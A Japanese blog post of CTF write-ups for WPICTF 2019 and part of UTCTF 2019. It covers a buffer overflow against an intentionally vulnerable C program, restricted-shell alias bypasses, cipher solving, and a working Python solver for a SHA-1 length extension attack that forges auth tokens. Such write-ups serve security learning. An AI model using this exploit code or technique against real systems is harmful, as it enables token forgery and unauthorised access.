satto1237’s diary

s4tt01237’s diary

ラーメンとかCTFとかセキュリティとか

WPICTF 2019 Write-up

はじめに

2019/04/13 ~ 2019/04/15 に開催されたWPICTFに1人で参加しました.

成績

9問解いて88位(1問以上正解した586チーム中)でした.

f:id:satto1237:20190415141833p:plain f:id:satto1237:20190415141857p:plain

can you read [Intro, 1pts, 496solves]

WPI{y3s_y0u_cAN_r33d}

All flags, unless otherwise stated, will be in the form WPI{S0M3_flag_here}

WPI{y3s_y0u_cAN_r33d}

Discord [Intro, 5pts, 370solves]

https://discord.gg/pqg8qjw

Look at the pinned msgs.

WPI{Welcome_to_our_discord}

Source pt1 [Pwn, 100pts, 132solves]

ssh source@source.wpictf.xyz -p 31337 (or 31338 or 31339).
Password is sourcelocker

Here is your babybuff.

アプローチ:BOF

sshするとhttps://www.imdb.com/title/tt0945513/にアクセスするためのパスワードの入力を求められます.

> ssh source@source.wpictf.xyz -p 31337
source@source.wpictf.xyz's password:
Enter the password to get access to https://www.imdb.com/title/tt0945513/
A
Pasword auth failed
exiting
Connection to source.wpictf.xyz closed.

babybuffとか書かれているので何も考えずにBOFしそうな文字列を流します.

> ssh source@source.wpictf.xyz -p 31337
source@source.wpictf.xyz's password:
Enter the password to get access to https://www.imdb.com/title/tt0945513/
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

予想通りソースコードが表示されます.

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>

#include <stdlib.h>
#include <string.h>

//compiled with gcc source.c -o source -fno-stack-protector -no-pie
//gcc (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0

//flag for source1 is WPI{Typos_are_GrEaT!}
int getpw(void){
        int res = 0;
        char pw[100];

        fgets(pw, 0x100, stdin);
        *strchrnul(pw, '\n') = 0;
        if(!strcmp(pw, getenv("SOURCE1_PW"))) res = 1;
        return res;
}

char *lesscmd[] = {"less", "source.c", 0};
int main(void){
        setenv("LESSSECURE", "1", 1);
        printf("Enter the password to get access to https://www.imdb.com/title/tt0945513/\n");
        if(!getpw()){
                printf("Pasword auth failed\nexiting\n");
                return 1;
        }

        execvp(lesscmd[0], lesscmd);
        return 0;
}

fgets(pw, 0x100, stdin);に不自然なtypoがありますね.

WPI{Typos_are_GrEaT!}

strings [Reversing, 50pts, 398solves]

A handy tool for your RE efforts!

アプローチ:strings

> file strings
strings: ELF 64-bit LSB shared object x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4e539e560b4d7729f7926e1b594dc623ce4c8e0d, not stripped
> strings strings | grep WPI
WPI{
warbleglarblesomejunkWPI{What_do_you_mean_I_SEE_AHH_SKI}0x13376969

WPI{What_do_you_mean_I_SEE_AHH_SKI}

WebInspect [Web, 25pts, 465solves]

Something is lurking at https://www.wpictf.xyz

アプローチ:Chromeデベロッパーツール

リンク先でChromeデベロッパーツールを開きます.

f:id:satto1237:20190415144555p:plain

WPI{Inspect0r_Gadget}

suckmore-shell [Linux, 100pts, 210solves]

Here at Suckmore Software we are committed to delivering a truly unparalleled user experience. Help us out by testing our latest project.
- ssh ctf@107.21.60.114
- pass: i'm a real hacker now

Brought to you by acurless and SuckMore Software, a division of WPI Digital Holdings Ltd.

アプローチ:unalias

ssh するとsuckmore shellに繋がります.

> ssh ctf@107.21.60.114
ctf@107.21.60.114's password:
SuckMORE shell v1.0.1. Note: for POSIX support update to v1.1.0
suckmore>env
HOSTNAME=7eaed2c0fee9
PWD=/
HOME=/home/ctf
FBR=f
DISTTAG=fcontainer
FGC=f
TERM=xterm
SHLVL=2
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PS1=suckmore>
_=/usr/bin/env

いくつかのコマンドを実行すると挙動がおかしいことに気が付きます(lsしてるのにsleephelpを見ろとか言われているので).

suckmore>ls
suckmore>ls -a
sleep: invalid option -- 'a'
Try 'sleep --help' for more information.
suckmore>pwd
Linux
suckmore>uname
Linux

aliasを確認します.

suckmore>alias
alias bash='sh'
alias cat='sleep 1 && vim'
alias cd='cal'
alias cp='grep'
alias dnf=''
alias find='w'
alias less='echo "We are suckMORE, not suckless"'
alias ls='sleep 1'
alias more='echo "SuckMORE shell, v1.0.1, (c) SuckMore Software, a division of WPI Digital Holdings Ltd."'
alias nano='touch'
alias pwd='uname'
alias rm='mv /u/'
alias sh='echo "Why would you ever want to leave suckmore shell?"'
alias sl='ls'
alias vi='touch'
alias vim='touch'
alias which='echo "Not Found"'

unaliasして元に戻します.

suckmore>unalias pwd
suckmore>unalias cd
suckmore>unalias ls

$HOMEに移動してflagを探します.

suckmore>pwd
/
suckmore>cd $HOME
suckmore>pwd
/home/ctf
suckmore>ls
bash: /usr/bin/ls: Permission denied

lsが使えないらしいのでgrepで探します.

suckmore>grep -r "WPI{" ./
./flag:WPI{bash_sucks0194342}

WPI{bash_sucks0194342}

zoomercrypt [Cryptography, 50pts, 91solves]

My daughter is using a coded language to hide her activities from us!!!! Please, help us find out what she is hiding!

f:id:satto1237:20190415150158p:plain

アプローチ:換字式暗号 + エスパー

絵文字が換字式暗号に見えるのでdecodeします.

以下のスクリプトで絵文字をASCIIに置き換えます.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

if __name__ == '__main__':

    emoji_cipher = '😃😁😕😗😈😗😇😋😄😗😆😓😄😓😂😈😎😃😃😁😓😆😇'
    emoji_translated = {}
    ascii_cipher = ''
    x = 0

    for emoji in emoji_cipher:
        if emoji not in emoji_translated:
            emoji_translated[emoji] = chr(65 + x)
            x += 1

    for emoji in emoji_cipher:
        ascii_cipher += emoji_translated[emoji]

    print(ascii_cipher)
> python solve.py
ABCDEDFGHDIJHJKELAABJIF

換字式暗号のソルバを使うためにスペースを挿入してあげます.

ABC DE DF GHD IJHJKE LAABJIF

ここまで来たらquipqiupで解けます.

quipqiup.com

OMG IT IS WPI REPENT BOOMERS

あとはフラグの形式に直してあげます.

WPI{REPENT_ZOOMERS}

ZOOMERスラングっぽいのでquipqiupでは出力されないっぽい

www.urbandictionary.com

jocipher [Cryptography, 100pts, 190solves]

Decrypt PIY{zsxh-sqrvufwh-nfgl} to get the flag!

アプローチ:uncompyle

バイトコンパイルされたPythonファイルが渡されます.

> file jocipher.pyc
jocipher.pyc: python 2.7 byte-compiled

Pythonのバイトコンパイルは簡単に復元できるのでuncompyleを使って元に戻します(pycにソース保護は期待できない)

pypi.org

> uncompyle6 jocipher.pyc
# uncompyle6 version 3.2.6
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.15 |Anaconda, Inc.| (default, May  1 2018, 18:37:05)
# [GCC 4.2.1 Compatible Clang 4.0.1 (tags/RELEASE_401/final)]
# Embedded file name: ./jocipher.py
# Compiled at: 2019-03-02 02:41:21
import argparse, re
num = ''
first = ''
second = ''
third = ''

def setup():
    global first
    global num
    global second
    global third
    num += '1'
    num += '2'
    num += '3'
    num += '4'
    num += '5'
    num += '6'
    num += '7'
    num += '8'
    num += '9'
    num += '0'
    first += 'q'
    first += 'w'
    first += 'e'
    first += 'r'
    first += 't'
    first += 'y'
    first += 'u'
    first += 'i'
    first += 'o'
    first += 'p'
    second += 'a'
    second += 's'
    second += 'd'
    second += 'f'
    second += 'g'
    second += 'h'
    second += 'j'
    second += 'k'
    second += 'l'
    third += 'z'
    third += 'x'
    third += 'c'
    third += 'v'
    third += 'b'
    third += 'n'
    third += 'm'


def encode(string, shift):
    result = ''
    for i in range(len(string)):
        char = string.lower()[i]
        if char in num:
            new_char = num[(num.index(char) + shift) % len(num)]
            result += new_char
        elif char in first:
            new_char = first[(first.index(char) + shift) % len(first)]
            if string[i].isupper():
                result += new_char.upper()
            else:
                result += new_char
        elif char in second:
            new_char = second[(second.index(char) + shift) % len(second)]
            if string[i].isupper():
                result += new_char.upper()
            else:
                result += new_char
        elif char in third:
            new_char = third[(third.index(char) + shift) % len(third)]
            if string[i].isupper():
                result += new_char.upper()
            else:
                result += new_char
        else:
            result += char

    print result
    return 0


def decode(string, shift):
    result = ''
    shift = -1 * shift
    for i in range(len(string)):
        char = string.lower()[i]
        if char in num:
            new_char = num[(num.index(char) + shift) % len(num)]
            result += new_char
        elif char in first:
            new_char = first[(first.index(char) + shift) % len(first)]
            if string[i].isupper():
                result += new_char.upper()
            else:
                result += new_char
        elif char in second:
            new_char = second[(second.index(char) + shift) % len(second)]
            if string[i].isupper():
                result += new_char.upper()
            else:
                result += new_char
        elif char in third:
            new_char = third[(third.index(char) + shift) % len(third)]
            if string[i].isupper():
                result += new_char.upper()
            else:
                result += new_char
        else:
            result += char

    print result
    return 0


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--string', '-s', type=str, required=True, help='the string to encode or decode')
    parser.add_argument('--shift', '-t', type=int, required=True, help='the shift value to use')
    parser.add_argument('--encode', '-e', required=False, action='store_true', help='encode the string')
    parser.add_argument('--decode', '-d', required=False, action='store_true', help='decode the string')
    args = parser.parse_args()
    setup()
    p = re.compile('[a-zA-Z0-9\\-{}]')
    if p.match(args.string) is not None:
        if args.encode:
            ret = encode(args.string, args.shift)
        else:
            if args.decode:
                ret = decode(args.string, args.shift)
        if ret is not 0:
            print 'Sorry, this cipher only uses the [a-zA-Z0-9\\-{}]'
    else:
        print 'Sorry, this cipher only uses the [a-zA-Z0-9\\-{}]'
    return


if __name__ == '__main__':
    main()

なんとなくやってることは分かりました.
ただ,encoder, decoderを完全に理解するよりもシフトを総当たりした方が速く解けそうなので今回は総当たりします.

> for x in `seq 10`; do echo "$x"; python uncompyle_jocipher.py -s PIY{zsxh-sqrvufwh-nfgl} -t $x -d; done
1
OUT{mazg-apecydqg-bdfk}
2
IYR{nlmf-lowxtspf-vsdj}
3
UTE{bknd-kiqzraod-cash}
4
YRW{vjbs-jupmelis-xlag}
5
TEQ{chva-hyonwkua-zklf}
6
RWP{xgcl-gtibqjyl-mjkd}
7
EQO{zfxk-fruvphtk-nhjs}
8
WPI{mdzj-deycogrj-bgha}
9
QOU{nsmh-swtxifeh-vfgl}
10
PIY{bang-aqrzudwg-cdfk}

シフトを100まで増やしてWPIgrepします.

> for x in `seq 100`; do echo "$x"; python uncompyle_jocipher.py -s PIY{zsxh-sqrvufwh-nfgl} -t $x -d; done | grep WPI
WPI{mdzj-deycogrj-bgha}
WPI{vsbh-seymofrh-xfgl}
WPI{zaxg-aeyvodrg-ndfk}
WPI{blnf-leyzosrf-csdj}
WPI{xkcd-keyboard-mash}
WPI{njms-jeyxolrs-vlag}
WPI{chva-heynokra-zklf}
WPI{mgzl-geycojrl-bjkd}
WPI{vfbk-feymohrk-xhjs}
WPI{zdxj-deyvogrj-ngha}

さらにここから目grepflag感のある文字列を探します.

WPI{xkcd-keyboard-mash}

フラグを見てから元ネタを知りました.

xkcd.com

bogged [Cryptography, 150pts, 23solves]

Two strange men called me last night. They call themselves the Bogdanoff twins. I don't know much about cryptocurrency can you help them with their scheme?

nc bogged.wpictf.xyz 31337 (or 31338 or 31339)

アプローチ:Length Extension Attack

ncするとcryptowojak123の通貨をnot_b0gdan0ffに送金しろと言われます.

> nc bogged.wpictf.xyz 31337

BOGDANOFF:

Bonjour...
We have access to the Binance backdoor, and got you into a compromised teller station.
We need you to steal tethered cryptocurrency from people's wallets.
We were halted by an unfortunate countermeasure in the teller system, but we have an account ready to recieve the stolen crypto.

Steal the currency from cryptowojak123. Transfer it to not_b0gdan0ff.

Transfer everything... then we will kill him, and find another.

Do not fail us.









Welcome to the Binance Teller Terminal!
Please remember to use admin-issued auth tokens with each account transfer!

Either enter a command or one of the following keywords:

accounts: List of accounts currently on the system.
history: A history of prior terminal commands.
help: A reminder on how to use this terminal.

Command:
>>>

とりあえずhelpコマンドで概要を把握します.

Command:
>>>help

You may either withdraw funds from an account or deposit funds to an account.
Withdraw with the following command:
withdraw ACCOUNT_NAME
Deposit with the following command:
deposit ACCOUNT_NAME
Commands may be chained, as follows:
withdraw ACCOUNT_NAME;deposit ACCOUNT_NAME;...

An authorization token unique to the command contents must exist for the transaction to succeed!
(Sorry, but we have to protect from malicious employees.)
Contact admin@dontactuallyemailthis.net to get auth tokens for different transfer commands!

helpを読む限り,withdraw cryptowojak123;deposit not_b0gdan0ffを実行すればフラグが取れそうです.

Command:
>>>withdraw cryptowojak123;deposit not_b0gdan0ff
Auth token:
>>>a

Error: Auth token does not match provided command..

Auth tokenが必要みたいです(helpにも書かれているのでそれはそう).
ここで,問題に添付されていたleaked_source.pyを確認してみます.

import hashlib

secret = ""

def generate_command_token(command, secret):
    hashed = hashlib.sha1(secret+command).hexdigest() 
    return hashed

def validate_input(command, token_in):
    token = hash_command(command, secret)

    if token == token_in:
        return True
    else:
        return False

while(True):
    print("Command:")
    command = raw_input(">>>")
    print('Auth token:')
    token = raw_input(">>>")
    print
    if validate_input(command, token) == False:
        print("Error: Auth token does not match provided command..")
    else:
        execute_command(command)
    print 

hash(salt || command)Auth token になっていることが分かります.
つまり,withdraw cryptowojak123;deposit not_b0gdan0ffを実行するには hash(salt || 'withdraw cryptowojak123;deposit not_b0gdan0ff')が必要になります.
しかし,saltsecretになっているため,Auth tokenは簡単には求められません.

このままではまだちょっと情報が足りないのでhistoryコマンドの結果を確認します.

Command:
>>>history

///// TRANSACTION HISTORY //////////////////////////

Command:
>>>withdraw john.doe
Auth token:
>>>b4c967e157fad98060ebbf24135bfdb5a73f14dc
Action successful!

Command:
>>>withdraw john.doe;deposit xXwaltonchaingangXx
Auth token:
>>>455705a6756fb014a4cba2aa0652779008e36878
Action successful!

Command:
>>>withdraw cryptowojak123;deposit xXwaltonchaingangXx
Auth token:
>>>e429ffbfe7cabd62bda3589576d8717aaf3f663f
Action successful!

Command:
>>>withdraw john.doe
Auth token:
>>>b4c967e157fad98060ebbf24135bfdb5a73f14dc
Action successful!

////////////////////////////////////////////////////

コマンドの履歴だけではなく,Auth tokenまで見れますね.

ここで怪しい点をまとめると以下のようになります.

  • チェインルール
  • Auth tokenの生成方法
  • 過去のAuth tokenが閲覧可能

したがって,Length Extension Attackができることが分かります.

Length Extension Attackとはhash(salt || message1)message1が既知のとき,hash(salt || message1 || message2)が求められる攻撃です.

具体的には

  • message1: withdraw john.doe
  • hash(salt || message1): b4c967e157fad98060ebbf24135bfdb5a73f14dc
  • message2: ;withdraw cryptowojak123;deposit not_b0gdan0ff
  • hash(salt || message1 || message2): 求めたいAuth token

のようになります.

実際にLength Extension Attackを行うツールとしてはHashPumpを利用します.

github.com

以下ソルバです.
HashPumpを利用する際(Length Extension Attackを行う際)にはsaltの文字列長が必要になるのでそこは総当たりしてます.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from socket import *
import subprocess
import binascii

def encodeHex(s):
    enc = ''
    xcode = ''
    for i in range(len(s)):
        if s[i] == '\\' and len(xcode) == 0:
            xcode += s[i]
        elif s[i] == 'x' and len(xcode) == 1:
            xcode += s[i]
        elif len(xcode) == 2:
            xcode += s[i]
        elif len(xcode) == 3:
            xcode += s[i]
            enc += xcode[2:]
            xcode = ''
        else:
            enc += '%02x' % ord(s[i])
    return enc

def LEA(cmd):
    proc = subprocess.run(cmd,stdout = subprocess.PIPE, stderr = subprocess.PIPE)
    ret = proc.stdout.decode('utf-8').split('\n')
    token = ret[0].encode('utf-8')
    init = ret[1][:17].encode('utf-8')
    lines = ret[1][17:].split(';')
    encHex = encodeHex(lines[0])
    pad = binascii.unhexlify(encHex)
    append = (';' + lines[1] + ';' + lines[2]).encode('utf-8')
    data = init + pad + append
    print(data)

    return (data,token)

def main():
    cmd_format = ['hashpump', '-s', 'b4c967e157fad98060ebbf24135bfdb5a73f14dc', '-d', 'withdraw john.doe', '-k', 'n', '-a', ';withdraw cryptowojak123;deposit not_b0gdan0ff']
    s = socket(AF_INET, SOCK_STREAM)
    s.connect(('bogged.wpictf.xyz', 31337))

    # recv 'description'
    for _ in range(2):
        temp_rec = s.recv(1024).decode('utf-8')

    for n in range(1, 33):
        print('SALT Length: {}'.format(n))
        cmd_format[6] = str(n)
        LEA_data, token = LEA(cmd_format)
        s.send(LEA_data + b'\n')
        # recv 'Auth token'
        temp_rec = s.recv(1024).decode('utf-8')
        print(temp_rec)

        s.send(token + b'\n')
        print(token)

        # recv '>>>'
        temp_rec = s.recv(1024).decode('utf-8')
        print(temp_rec)

        # recv 'result'
        temp_rec = s.recv(1024).decode('utf-8')
        print(temp_rec)

        if 'Error' not in temp_rec:
            break

if __name__ == '__main__':
    main()
> python solve.py
[snip]

Command:
>>>
SALT Length: 16
b'withdraw john.doe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x08;withdraw cryptowojak123;deposit not_b0gdan0ff'
Auth token:
b'050a162f6ee310d345821b402f436b19677495dc'

>>>

A subcommand was unreadable...
Action successful!
Action successful!


BOGDANOFF:

The money is transferred. You have done... well.
Your service has demonstrated your loyalty. You have truly swallowed the bogpill.

You will be among the first to behold the enlightenment we will soon unleash.

...

Quoi?

You want more?

...

Somewhere in the cosmos, a secret calls out to us, lost in the wrinkles of time.

We shall relay this secret to you.


Au revoir.







WPI{duMp_33t_aNd_g@rn33sh_H1$_wAg3$}

WPI{duMp_33t_aNd_g@rn33sh_H1$_wAg3$}

まとめ

  • 簡単な問題しか解けなくて悲しくなった
  • Web, Cryptoがあと1問ずつ解けそうだったけど解けなかった(Write-up読んでべんきょうする)
  • PlaidCTFが難しかったのでこっちに参加した

UTCTF2019 Write-up (供養)

はじめに

2019/03/09 ~ 2019/03/11 に開催されたUTCTFに個人で少しだけ参加しました.
時間があまりとれなかったのでwarm-upとCrypto問中心に取り組みました.

成績

4問解いて187位 (1問以上解いた581チーム中) でした.

[basics] forensics (Forensics, 100 pts, 437 solves)

My friend said they hid a flag in this picture, but it's broken!
[sectret.jpg]

アプローチ:fileコマンド

とりあえずopenしようとします.

> open secret.jpg

f:id:satto1237:20190311124618p:plain

openできなかったのでfileでフォーマットを確認します.

> file secret.jpg
secret.jpg: ASCII text

そもそも.jpgではなかったようです.

stringsで中身を確認します.

> strings secret.jpg
utflag{d0nt_tru5t_f1l3_3xt3ns10n5}

utflag{d0nt_tru5t_f1l3_3xt3ns10n5}

[basics] re (Reverse Engineering, 100 pts, 462 solves)

I know there's a string in this binary somewhere.... Now where did I leave it?
[calculator]

アプローチ:strings

一応

> file calculator
calculator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=12d2c94aa02e2ebaca1b262031791914ebae7936, not stripped

問題文の通りにやります.

> strings calculator | grep utflag
utflag{str1ng5_15_4_h4ndy_t00l}

utflag{str1ng5_15_4_h4ndy_t00l}

[basics] crypto (Cryptography, 200 pts, 426 solves)

Can you make sense of this file?
binary.txt

アプローチ:base64 + rot15 + 換字式暗号

添付されていたbinary.txtは以下のようになっています.

01010101 01101000 00101101 01101111 01101000 00101100 00100000 01101100 01101111 01101111 01101011 01110011 00100000 01101100 01101001 01101011 01100101 00100000 01110111 01100101 00100000 01101000 01100001 01110110 01100101 00100000 01100001 01101110 01101111 01110100 01101000 01100101 01110010 00100000 01100010 01101100 01101111 01100011 01101011 00100000 01101111 01100110 00100000 01110100 01100101 01111000 01110100 00101100 00100000 01110111 01101001 01110100 01101000 00100000 01110011 01101111 01101101 01100101 00100000 01110011 01101111 01110010 01110100 00100000 01101111 01100110 00100000 01110011 01110000 01100101 01100011 01101001 01100001 01101100 00100000 01100101 01101110 01100011 01101111 01100100 01101001 01101110 01100111 00101110 00100000 01000011 01100001 01101110 00100000 01111001 01101111 01110101 00100000 01100110 01101001 01100111 01110101 01110010 01100101 00100000 01101111 01110101 01110100 00100000 01110111 01101000 01100001 01110100 00100000 01110100 01101000 01101001 01110011 00100000 01100101 01101110 01100011 01101111 01100100 01101001 01101110 01100111 00100000 01101001 01110011 00111111 00100000 00101000 01101000 01101001 01101110 01110100 00111010 00100000 01101001 01100110 00100000 01111001 01101111 01110101 00100000 01101100 01101111 01101111 01101011 00100000 01100011 01100001 01110010 01100101 01100110 01110101 01101100 01101100 01111001 00101100 00100000 01111001 01101111 01110101 00100111 01101100 01101100 00100000 01101110 01101111 01110100 01101001 01100011 01100101 00100000 01110100 01101000 01100001 01110100 00100000 01110100 01101000 01100101 01110010 01100101 00100000 01101111 01101110 01101100 01111001 00100000 01100011 01101000 01100001 01110010 01100001 01100011 01110100 01100101 01110010 01110011 00100000 01110000 01110010 01100101 01110011 01100101 01101110 01110100 00100000 01100001 01110010 01100101 00100000 01000001 00101101 01011010 00101100 00100000 01100001 00101101 01111010 00101100 00100000 00110000 00101101 00111001 00101100 00100000 01100001 01101110 01100100 00100000 01110011 01101111 01101101 01100101 01110100 01101001 01101101 01100101 01110011 00100000 00101111 00100000 01100001 01101110 01100100 00100000 00101011 00101110 00100000 01010011 01100101 01100101 00100000 01101001 01100110 00100000 01111001 01101111 01110101 00100000 01100011 01100001 01101110 00100000 01100110 01101001 01101110 01100100 00100000 01100001 01101110 00100000 01100101 01101110 01100011 01101111 01100100 01101001 01101110 01100111 00100000 01110100 01101000 01100001 01110100 00100000 01101100 01101111 01101111 01101011 01110011 00100000 01101100 01101001 01101011 01100101 00100000 01110100 01101000 01101001 01110011 00100000 01101111 01101110 01100101 00101110 00101001 00001010 01010100 01101101 01010110 00110011 01001001 01000111 01001110 01101111 01011001 01010111 01111000 01110011 01011010 01010111 00110101 01101110 01011010 01010011 01000101 01100111 01010001 00110010 01000110 01110101 01001001 01001000 01101100 01110110 01100100 01010011 01000010 01101101 01100001 01010111 01100100 00110001 01100011 01101101 01010101 01100111 01100010 00110011 01010110 00110000 01001001 01001000 01100100 01101111 01011001 01011000 01010001 01101110 01100011 01111001 01000010 01101110 01100010 00110010 01101100 01110101 01011010 01111001 01000010 01110110 01100010 01101001 01000010 01101111 01011010 01011000 01001010 01101100 01010000 01111001 01000010 01001010 01100100 01000011 01000010 01110011 01100010 00110010 00111001 01110010 01100011 01111001 01000010 01110011 01100001 01010111 01110100 01101100 01001001 01001000 01010010 01101111 01011010 01010011 01000010 01110011 01011010 01011000 01010010 00110000 01011010 01011000 01001010 01111010 01001001 01000111 01000110 01111001 01011010 01010011 01000010 01111010 01100001 01000111 01101100 01101101 01100100 01000111 01010110 01101011 01001001 01000111 01001010 00110101 01001001 01001000 01001110 01110110 01100010 01010111 01010101 01100111 01011001 00110010 00111001 01110101 01100011 00110011 01010010 01101000 01100010 01101110 01010001 01110101 01001001 01000011 01101000 01101111 01100001 01010111 00110101 00110000 01001111 01101001 01000010 00110101 01100010 00110011 01010101 01100111 01100010 01010111 01101100 01101110 01100001 01001000 01010001 01100111 01100100 00110010 01000110 01110101 01100100 01000011 01000010 00110000 01100010 01111001 01000010 01111010 01100100 01000111 01000110 01111001 01100100 01000011 01000010 01110011 01100010 00110010 00111001 01110010 01100001 01010111 00110101 01101110 01001001 01001000 01010110 01110111 01001001 01000110 01001010 01110110 01100010 01010111 01000110 01110101 01001001 01001000 01000010 01101100 01100010 00110011 01000010 01110011 01011010 01010011 01101011 01110101 01000011 01101101 01110100 00110010 01011001 01101110 01001110 01111000 01100011 01101101 01010001 01110011 01001001 01000111 01101100 00110101 01011010 01010011 01100100 01101001 01100010 01111001 01000010 01110010 01100100 01101110 01100100 00110101 01011001 00110010 01010001 01100111 01011010 01001000 01001010 01110110 01011001 01101101 00111000 01101000 01001001 01000110 01101000 00110101 01011010 01111001 01000010 01110111 01100101 01010111 01001001 01100111 01011010 01001000 01001010 01110110 01001001 01001000 01000010 01111010 01100101 01000111 01110100 00110010 01001001 01000011 01101000 01110010 01100101 01000111 00110100 01100111 01100100 00110010 01110100 01110000 01100010 01000111 00111000 01100111 01011010 01001000 01001010 01110110 01001001 01001000 01001010 01110010 01011001 01101101 00110101 01110110 01011001 00110010 01010001 01110101 01001100 01101001 00110100 01110000 01001001 01001000 01110000 01110010 01011001 01101101 01010001 00110110 01001001 01000111 01110011 01100111 01011001 00110010 01010110 01110011 01011001 00110010 01010010 01111010 01011010 01000111 01010110 01101011 01100011 00110011 01101100 00110100 01001001 01000111 00110001 01111010 01100101 01101110 01001010 01110110 01011001 01101001 00110100 01100111 01010101 00110011 01100111 01100111 01011010 01001000 01001010 01110110 01001001 01001000 01000010 00110101 01100100 01101110 01011010 00110101 01011010 00110011 01001110 00110100 01100011 01010011 01000010 01101011 01100010 00110010 01101000 01101011 01001100 01000011 01000010 01010100 01001010 00110010 01011010 01110110 01001001 01000111 01010010 01110010 01100100 01010111 00111001 00110100 01001001 01001000 01100100 01110000 01001001 01001000 01100100 01110110 01011001 00110010 01001110 01110010 01100011 01010111 00111000 01100111 01100001 00110011 01101000 01110101 01001001 01000111 01001010 01110110 01100101 01101110 01011010 01110010 01100010 01010111 00111001 01110101 01001001 01000111 00111001 01101101 01100010 00110010 01001010 01110000 01001001 01000111 01110100 00110010 01100101 01101110 01001010 01110010 01100010 01000111 00111001 01101011 01100011 00110010 00110000 01100111 01100010 01011000 01001010 01110010 01011001 01101101 01110100 01110100 01011010 01000111 00111001 01101001 01001001 01000111 01100100 01111010 01011010 01001000 01001001 01100111 01100001 01111001 01000010 01110100 01100101 01010111 01001010 01101001 01100010 00110010 01001110 00110110 01100101 01011000 01101000 01110101 01100010 00110011 01101000 01110100 01100010 01111001 01000010 01101011 01100101 01010011 01000010 01110010 01001001 01000111 00110101 01111010 01100011 01001000 01000010 01110110 01011001 01101101 00111001 00110100 01011010 01000011 01000010 01110100 01100011 01101101 01110100 01101001 01100001 00110010 00110001 01101011 01100010 00110010 01001001 01100111 01001100 01010011 01000010 00110001 01100101 01001000 01101100 01101110 01100101 01000011 01000010 01110010 01011001 01111001 01000010 01110010 01001001 01000111 01001110 01101100 01100010 01000111 01001110 01101011 01100011 00110010 01010010 01101100 01011010 01001000 01001110 00110101 01100101 01000011 01000010 01110100 01100011 00110011 01110000 01111001 01100010 00110010 01001001 01110101 01001001 01000101 00110001 01110010 01100101 01000011 01000010 01110000 01100101 01010111 01010101 01100111 01100011 01001000 01001110 00110100 01100010 01101001 01000010 01101011 01100011 01101101 00111000 01100111 01100011 01001000 01001110 00110100 01100001 00110011 01011001 01100111 01100011 01001000 01011010 01110010 01100011 01010100 00111000 01100111 01100011 01101110 01001110 00110100 01011010 01000100 01101111 01100111 01010010 00110010 00111000 01100111 01100100 01011000 01101000 00110101 01011010 01111001 01000010 01101011 01100011 01101101 01110100 01101011 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01110111 01100100 01101101 01110100 01111000 01001001 01001000 01001110 01101010 01001001 01001000 01000110 00110101 01100011 00110011 01101000 01111000 01001001 01000111 01010010 00110101 01001001 01000111 01111000 01110110 01001001 01001000 01101100 01110111 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01110111 01100101 01010111 01001010 00110011 01100001 00110010 01010001 01100111 01011010 01010111 01010010 01110111 01100100 01101101 01110100 01111000 01100101 01111001 00110100 01110101 01001100 01101110 00110000 01100111 01001100 01010011 01000010 01101110 01100011 01101110 01001110 01110100 01100011 01101001 01000010 00110011 01100010 00110010 01110100 00110100 01011001 01111001 01000010 01101011 01100011 01101101 01110100 01101011 01001001 01001000 01001110 01110111 01001001 01000111 01101100 00110101 01011010 01010011 01000010 01101010 01100010 00110010 00111000 01100111 01011010 01001000 01001010 01110010 01011010 01000011 01000010 00110110 01100001 00110010 01010010 01101011 01100010 00110010 01001010 00110100 01001100 01000011 01000010 01110000 01100101 01010111 01010101 01100111 01100100 01011000 01101000 00110101 01011010 01111001 01000010 01101110 01100011 01101101 01110100 01101011 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01110100 01100101 01010111 01001010 01101001 01100010 00110010 01001110 00110110 01100101 01011000 01101000 01110101 01100010 00110011 01101000 01110100 01100010 00110010 01001101 01100111 01100011 01001000 01101100 01101001 01001001 01000111 01010101 01110011 01001001 01000111 01010001 01110011 01001001 01001000 01000001 01110011 01001001 01001000 01011001 01100111 01100001 01111001 01110111 01100111 01100001 00110011 01101000 01110101 01001001 01001000 01000101 01100111 01100001 00110010 01001010 01110110 01001100 01101001 01000010 01001010 01100101 01010111 01010101 01100111 01100010 01010111 01110100 00110100 01001001 01001000 01110000 01101001 01100101 01010111 01111000 01110010 01100010 01001000 01011010 01110000 01001001 01000111 01100100 00110101 01011001 01101110 01010101 01100111 01100101 01010111 01010110 01101011 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01101001 01100010 00110011 01100100 01110010 01100011 00110011 01101000 01111010 01100101 01001000 01000101 01100111 01100010 01011000 01001010 01110010 01011001 01101101 01110100 01110100 01011010 01000111 00111001 01101001 01011001 01111001 01000010 01110011 01100001 01010011 01000010 01101001 01100010 00110011 01110000 00110010 01100001 00110010 00110001 01111010 01100101 01001000 01000101 01100111 01011010 01001000 01001010 01110110 01100100 01111001 01000010 01110010 01100101 01000111 00110100 01100111 01100011 00110011 01101000 01110111 01100010 00110010 01001010 01101001 01100011 00110011 01101000 01111000 01001001 01000111 00110001 00110101 01100100 00110011 01100100 00110101 01100101 01000011 01000010 01101110 01100101 01010111 01001010 01110101 01011001 01111001 01000010 01111010 01100101 01000011 01000010 01101011 01100011 01101101 00111000 01100111 01010100 00110011 01101000 01111000 01100100 01101110 01001110 01101010 01100011 01101001 01000010 00110010 01100001 00110011 01101000 01111000 01011010 01010111 01110100 01111000 01100010 01111001 00110100 01100111 01010011 00110011 01101000 00110101 01011010 01001000 01001010 